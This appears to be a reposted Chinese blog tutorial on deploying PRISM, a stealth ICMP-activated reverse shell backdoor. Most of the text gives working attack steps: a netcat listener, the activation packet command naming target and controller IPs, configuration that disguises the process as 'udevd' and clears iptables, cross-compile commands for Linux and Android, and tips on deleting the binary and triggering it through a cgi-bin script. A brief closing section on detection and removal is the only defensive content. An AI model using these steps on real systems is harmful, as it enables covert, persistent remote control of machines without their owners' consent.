Linux下的ICMP反彈后門:PRISM


  搜索的時候無意中看見的這款基於ping的ICMP后門。於是到作者的github上看看,居然是陰文的,為了過級,只能強忍着看了,學生狗傷不起。還好比較簡單易懂,正如簡介說的一樣:“PRISM is an user space stealth reverse shell backdoor, written in pure C.”

  項目地址:https://github.com/andreafabrizi/prism

  PRISM只有兩個主文件,配置簡單,能在LinuxSolaris、AIXBSD/Mac、Android等多個系統上運行,支持兩種工作模式:ICMPSTATIC 模式。

ICMP模式

  使用這種模式的后門將會在后台等待特定的包含主機/端口連接信息ICMP數據包,通過私有密鑰可以阻止第三方訪問。后門進程接受ping包激活(總不會連ping包都不讓過了靶>_<)

  首先,在攻擊者的機器上運行netcat來等待后門進入的連接:

~$ nc -l -p 9999

   再使用sendPacket.py腳本(或其他數據包生成器,如nemesis-1.4)發送激活包到后門主機,以使后門主機反彈連接到主控機的指定端口:

./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999
//10.0.0.5 遠程主機(靶機)的IP地址
//linger 連接密碼
//10.0.0.10 主控機IP地址
//9999 主控機連接端口

 STATIC模式

  使用這種模式,后門主機將會主動嘗試連接到指定端口的的IP地址上,所以只要在指定IP上監聽指定端口等待連接就可以了。但是,缺點很明顯,很任意暴露攻擊者的IP地址,而且使用不夠靈活。

 $ nc -l -p [PORT] 

   當然,作為一款迷你級的后門木馬。它還是有很多優點的:

  兩種工作模式、運行時進程重命名、不會監聽端口、自動清除iptables規則表、采用C語言編寫(代碼僅有200來行),所以不需要任何庫支持。

配置prism后門

  編輯prism.c文件,修改宏定義部分:

 40 #ifdef STATIC
 41 # define REVERSE_HOST     "10.0.0.1"  //連接到主控機的IP地址
 42 # define REVERSE_PORT     19832   //連接到主控機的端口號
 43 # define RESPAWN_DELAY    15  //后門機嘗試連接的空閑時間間隔
 44 #else
 45 # define ICMP_PACKET_SIZE 1024  //ICMP數據包的大小
 46 # define ICMP_KEY         "linger"  //連接的密碼
 47 #endif
 48 
 49 #define VERSION          "0.5"   //版本信息
 50 #define MOTD             "PRISM v"VERSION" started\n\n# "  //后門機連接時顯示的消息
 51 #define SHELL            "/bin/sh"  //shell執行的位置
 52 #define PROCESS_NAME     "udevd"   //創建的進程名稱

 交叉編譯prism后門

gcc <..OPTIONS..> -Wall -s -o prism prism.c

 可用的參數<OPTION>選項:

-DDETACH   //后台運行
-DSTATIC   //只用STATIC模式(默認是ICMP模式)
-DNORENAME   //不再重命名進程名
-DIPTABLES   //清除所有iptables規則表項

例如:

gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

不同平台下的交叉編譯需要相關庫文件:

Android平台:

apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism

Linux 64bit

apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

Linux 32bit

apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

 編譯好之后,可以查看后門的配置信息:

運行prism后門測試

  將該后門上傳到遠程后門主機,再使用sendPacket.py腳本(需以root運行)在本地發送激活包到后門主機,本地監聽相關端口等待后門主機反彈連接:(這里要注意,最好時將prism.c文件上傳到后門主機再進行編譯,這樣才更容易成功。)

  這對於采用了很多限制(比喻限制了SSH)遠程服務器來說,使用該后門是不錯的。而且prism服務端運行后會在后台一直運行,除非服務器重啟。所以,后門開啟后刪除自身文件將不容易被發現。

簡單講解prism后門的清除

  首先,上面說了,該后門重啟會失效,除非寫在開機啟動項里。所以攻擊者想要繼續留住后門,肯定會這樣做,故首先要檢查開機啟動項里(比如/etc/rc.local,這可是root權限!)是否有未知啟動腳本。聯想起前段時間的BASH漏洞,有一個不錯的思路是在cgi-bin里的某個腳本里作改變,當訪問這個腳本時就可以觸發這個prism后門,這樣就可以不用之前的python腳本來觸發了。厄,貌似這就講到攻擊了-_- 不管怎樣,先得有點見識靶。搞不好還真有人會這樣用呢。

  其次,雖然這個后門可以改變后門進程名,但是還是有進程存在,所以要查出這個未知進程。可以用工具查找,找到kill掉就OK了。

  最后,要設置好嚴格的iptables規則。該后門可以按攻擊者的設置嘗試清除iptables規則,所以要定期查看iptables規則是否改變。

  還有,該后門是使用ICMP協議的PING包激活的,SO,如果還真怕PRISM的會,那就過濾掉ICMP包靶,走着瞧靶v_v

  但是,站在攻擊者的角度來看,想要防范prism后門還是比較難的。正如其作者所描述的那樣:“No listening ports”,啥意思?就是想用啥端口連接都可以,額測試過了: ) 這么說來,貌似上上一條有失效了-_-

  所以,綜上所屬,最好的辦法就是做好預防工作,防止被入侵。為啥?因為我是傻逼{-_-}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM